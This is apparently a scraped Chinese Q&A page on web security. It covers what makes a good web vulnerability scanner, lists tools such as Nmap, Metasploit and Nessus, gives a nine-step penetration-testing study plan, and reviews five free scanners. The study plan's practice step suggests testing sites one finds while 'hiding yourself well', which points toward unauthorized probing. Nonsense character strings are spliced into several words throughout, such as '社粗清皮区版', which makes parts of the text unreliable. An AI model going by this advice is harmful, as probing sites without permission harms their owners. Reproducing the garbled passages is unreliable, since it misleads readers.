快——快速的扫描速度,才能在面对越来越大的网站规模,越发频繁的网站检查时游刃有余,进度保障。一款快速的Web扫描器除了有强劲马力的扫描引擎,高达百万/天的扫描速度,还要具备弹性灵活的集群扫描能力,任意增添扫描节点,轻松应对可能苛刻的扫描周期时间要求。
稳——稳定可靠的运行过程,对目标环境近乎零影响的Web扫描器,才能在诸行业大面积投入使用,特别是一些对业务影响要求苛刻的行业会更受青睐,毕竟没有人能够接受一款评估类产品,会对目标造成额外的损伤。市面上现在已有一些Web扫描器产品,其通过周期探寻目标系统,网络链路,自身性能负载等机制,依据目标环境的负载动态变化而自动调节扫描参数,从而保障扫描过程的足够稳定和几乎零影响。此外,随着网站规模,检查范围的不断扩大,保证持续稳定的扫描执行和统计评估,尽量避免扫描进度的半途而废,也提出了较高的可靠性运行要求。
易——人性化的界面配置,低成本的报表学习和强指导性修补建议。尤其是漏洞分布详情和场景重现方面,市面上大多数Web扫描器的报表都需要专业安全人员的二次解读后,普通的安全运维检查人员才能看懂,才知道长达百页报表给出的重要建议和下一步的具体修补措施,这无疑给使用者造成了较高的技术门槛,那么如何解决此易读、易用问题,就成为评定其优劣与否的一个重要指标。
总之,一款优秀的Web扫描器产品,它需要严格恪守五字核心方针,全、准、快、稳、易,做到全方位均衡,这样才能做到基本优秀。同时,随着网站检查诉求的日益多元化,它若能附带一些差异化特性,满足大家不同场景的网站安全运维扫描要求,如网站基本信息搜集,漏洞全过程时间轴跟踪,逐步可视化的漏洞验证和场景重现,自动修补直通车等,定会大大增加该款扫描器的评优力度。
❺ 网络安全工具有哪些
一、NMap
是一个开源且免费的安全扫描工具,可以被用于安全审计和网络发现,能被使用于Windows、Linux、Mac OS等,可用于探测网络中可访问的主机,检测它们的类型和版本、正在提供的服务以及正在使用的防火墙或数据包过滤器的信息等。
二、Wireshark
提供免费且开源的渗透测试服务,可以把它当做网络协议分析器,能被适用于Linux、Windows、Unix、Mac OS以及其他常见的操作系统中。
三、Metasploit
可为用户提供有关安全风险和漏洞等方面的重要信息,让用户了解各种应用程序、平台和操作系统上的最新漏洞,以及可以被利用的代码,它可在Linux、Windows、Apple
Mac OS上运行命令行和图形用户界面。
四、Netsparker
是一款精确、自动化且易用的Web应用安全扫描工具,可以被用于自动化识别Web应用服务中的跨站点脚本,即XSS,和SQL注入等安全风险爱你,不仅可以生成风险报告,还可以通过概念证明来确认是否有误报,且能减少手动验证漏洞的时间。
五、Acunetix
是一款全自动化的Web漏洞扫描程序,可以智能检测、识别并报告Web应用漏洞,用户可以利用它将检测到的漏洞导出到问题跟踪器中。
六、Nessus
是针对安全从业人员的漏洞评估解决方案,能够协助检测和修复各种操作系统、应用程序、乃至设备上的漏洞、恶意软件、配置错误、以及补丁的缺失,运行于Windows、Linux、Mac上,用户可以用它来进行IP与网站的扫描,合规性检查,敏感数据搜索等测试。
❻ web安全要学什么
学习Web安全需要掌握Web安全相关概念、渗透测试相关工具、渗透实战操作、熟悉Windows/Kali Linux、中间件和服务器的安全配置、脚本编程学习、源码审计与漏洞分析、安全体系设计与开发等等。
简单做一个学习规划:
第一步:Web安全相关概念
建议学习时间:2周
学习内容如下:
1、熟悉基本概念(SQL注入、上传、XSS、CSRF、一句话木马等)。
2、通过关键字(SQL注入、上传、XSS、CSRF、一句话木马等)进行Google。
3、阅读《Web安全深度剖析》,作为入门学习还是可以的。
4、看一些渗透笔记/视频,了解渗透实战的整个过程,可以Google(渗透笔记、渗透过程、入侵过程等)。
第二步:熟悉渗透相关工具
建议学习时间:3周
学习内容如下:
1、熟悉AWVS、Sqlmap、Burpsuite、Nessus、China chopper 、Nmap、Appscan等相关工具的使用。
2、了解该类工具的用途和使用场景。
3、下载无后门版的这些软件进行安装。
4、学习并进行使用,具体教材可以在网上搜索,例如:Burpsuite的教程、Sqlmap。
5、常用的这几个软件都学会后,可以安装音速启动做一个渗透工具箱
第三步:渗透实战操作
建议学习时间:5周
学习内容如下:
1、掌握渗透的整个阶段并能够独立渗透小型站点。
2、网上找渗透视频看并思考其中的思路和原理,关键字(渗透、SQL注入视频、文件上传坦洞棚入侵、数据库备份、Dedecms漏洞利用等等)。
3、自己找站点/搭建测试环境进行测试,记住请隐藏好你自己。
4、思考渗透主要分为几个阶段,每个阶段需要做哪些工作,例如这个:PTES渗透测试执行标准。
5、研究SQL注入的种类、注入原理、手动注入技巧。
6、研究文件上传的原理,如何进行截断、解析漏洞利用等,参照:上传攻击框架。
7、研究XSS形成的原理和种类,具体学习方法可以Google。
8、研究Windows/Linux提权的方法和具体使用,可以参考:提权。
9、可以参考: 开让则源渗透测试脆弱系统。
第四步:关注安全圈动态
建议学习时间:1周
学习内容如下:
1、关注安全圈的最新漏洞、安全事件与技术文章。
2、浏览每日的安全技术文章/事件。
3、通过微博、微信关注安全圈的从业人员(遇到大牛的关注或者好友果断关注),天天抽时间刷一下。
4、通过feedly/鲜果订阅国内外安全技术博客(不要仅颤御限于国内,平时多注意积累)。
5、养成习惯,每天主动提交安全技术文章链接到i春秋社区进行积淀。
6、多关注下最新漏洞列表,可以看看hackerone、freebuf、安全客等,遇到公开的漏洞都去实践下。
7、关注国内国际上的安全会议的议题或者录像。
8、加入技术交流群,与群内大佬们讨教一些经验和技巧。
第五步:熟悉Windows/Kali Linux
建议学习时间:3周
学习内容如下:
1、学习Windows/Kali Linux基本命令、常用工具。
2、熟悉Windows下的常用的cmd命令,例如:ipconfig,nslookup,tracert,net,tasklist,taskkill等。
3、熟悉Linux下的常用命令,例如:ifconfig,ls,cp,mv,vi,wget,service,sudo等。
4、熟悉Kali Linux系统下的常用工具,可以参考《Web Penetration Testing with Kali Linux》、《Hacking with Kali》等。
5、熟悉metasploit工具,可以参考《Metasploit渗透测试指南》。
第六步:中间件和服务器的安全配置
建议学习时间:3周
学习内容如下:
1、学习服务器环境配置,并能通过思考发现配置存在的安全问题。
2、Windows server2012环境下的IIS配置,特别注意配置安全和运行权限。
3、Linux环境下的LAMP的安全配置,主要考虑运行权限、跨目录、文件夹权限等。
4、远程系统加固,限制用户名和口令登陆,通过iptables限制端口;配置软件Waf加强系统安全,在服务器配置mod_security等系统。
5、通过Nessus软件对配置环境进行安全检测,发现未知安全威胁。
第七步:脚本编程学习
建议学习时间:4周
学习内容如下:
1、选择脚本语言:Perl/Python/PHP/Go/Java中的一种,对常用库进行编程学习。
2、搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime。
3、Python编程学习,学习内容包含:语法、正则、文件、网络、多线程等常用库,推荐《Python核心编程》。
4、用Python编写漏洞的exp,然后写一个简单的网络爬虫。
5、PHP基本语法学习并书写一个简单的博客系统,参见《PHP与MySQL程序设计(第4版)》、视频。
6、熟悉MVC架构,并试着学习一个PHP框架或者Python框架(可选)。
7、了解Bootstrap的布局或者CSS。
第八步:源码审计与漏洞分析
建议学习时间:3周
学习内容如下:
1、能独立分析脚本源码程序并发现安全问题。
2、熟悉源码审计的动态和静态方法,并知道如何去分析程序。
3、了解Web漏洞的形成原因,然后通过关键字进行查找分析。
4、研究Web漏洞形成原理和如何从源码层面避免该类漏洞,并整理成checklist。
学习地址:i春秋官网(企安殿)
第九步:安全体系设计与开发
建议学习时间:5周
学习内容如下:
1、能建立自己的安全体系,并能提出一些安全建议或者系统架构。
2、开发一些实用的安全小工具并开源,体现个人实力。
3、建立自己的安全体系,对公司安全有自己的一些认识和见解。
4、提出或者加入大型安全系统的架构或者开发。
❼ 网络安全行业中5款超好用的网络漏洞扫描器!
漏洞扫描器是用于对企业网络进行漏洞扫描的一种硬件设备,按常规标准,传统的漏洞扫描器可以分为两种类型:主机漏洞扫描器和网络漏洞扫描器。那么好用的网络漏洞扫描器有哪些?本篇文章为大家介绍5款免费网络漏洞扫描器,快来学习一下吧。
第一款:OpenVAS
OpenVAS的主要组件是安全扫描器,是基于Linux的网络安全扫描平台,但也可以在Windows内的虚拟机上运行。尽管OpenVAS不是安装和使用起来最简单方便的扫描器,但它却是功能最丰富最广泛的免费IT安全扫描器之一。它每天都会执行实际扫描工作,支持并发扫描任务和计划扫描,可以扫描数千个漏洞,并接收网络岩差漏洞测试,供扫描结果的注释和误报管理。其中OpenVAS
Manager控制扫描器,并提供情报。OpenVAS Administrator提供了命令行接口,可充当全方位的服务守护程序,提供用户管理和信息源管理。
第二款:ManageEngine
ManageEngine是一款很好的长期漏洞监控工具,与其他扫描器不同,它主要为计算机扫描和监控而设计,但也为Web服务器提供了一些扫描功能。这款扫描器要求您将端点代理软件添加到要扫描的系统,适用于Windows、macOS和Linux系统。在漏洞管理器上设置端点代理后,可以开始查看检测到的项目、系统和服务器配置错误、高风险软件以及端口审查结果。每一项给出了充分的解释以及可能的解决方案。您可以管理和推送补丁,以及查看基本的计算正旦机规格和统计信息,比如已安装的操作系统、IP地址和上次重启时间。
第三款:Nexpose社区版
Rapid7的Nexpose社粗清皮区版是一款功能强大、易于设置的漏洞扫描器,它可以扫描网络、操作系统、Web应用程序等操作。Nexpose能够在Windows、Linux或虚拟机上运行,提供基于Web的GUI。在使用该工具之前,可以先通过其门户网站创建站点,以定义要扫描的IP或URL、选择扫描首选项、扫描时间表,并为扫描的资产提供任何必要的信息。扫描完成后,Nexpose会显示被扫描对象的详细信息,以及有关漏洞及如何修复漏洞的详细信息。
第四款:Nessus Essentials
Nessus
Essentials是一款可靠、易于使用的网络漏洞扫描器,但因为它最多支持扫描16个ip地址,因此更适合个人使用。它能够安装在Windows、macOS和众多Linux/Unix发行版上,在Web
GUI上,您可以轻松查看包含的扫描类型:主机发现以及漏洞扫描。在工具进行扫描后,使用者可以访问概述每个主机上所发现内容的小结,并深入了解有关漏洞和可能的补救措施的详细信息。
第五款:Qualys社区版
和Nessus
Essentials一样,Qualys社区也更适合个人使用。它支持多种扫描类型:TCP/UDP端口、密码蛮力破解和漏洞检测,以查找隐藏的恶意软件、缺少的补丁程序、SSL问题以及其他与网络有关的漏洞。它还能在得到授权的情况下,登录到主机以扩展检测功能。在Qualys扫描完成后,它会提供许多不同类型的报告,比如总体记分卡、补丁、高危程度、支付卡行业和摘要报告。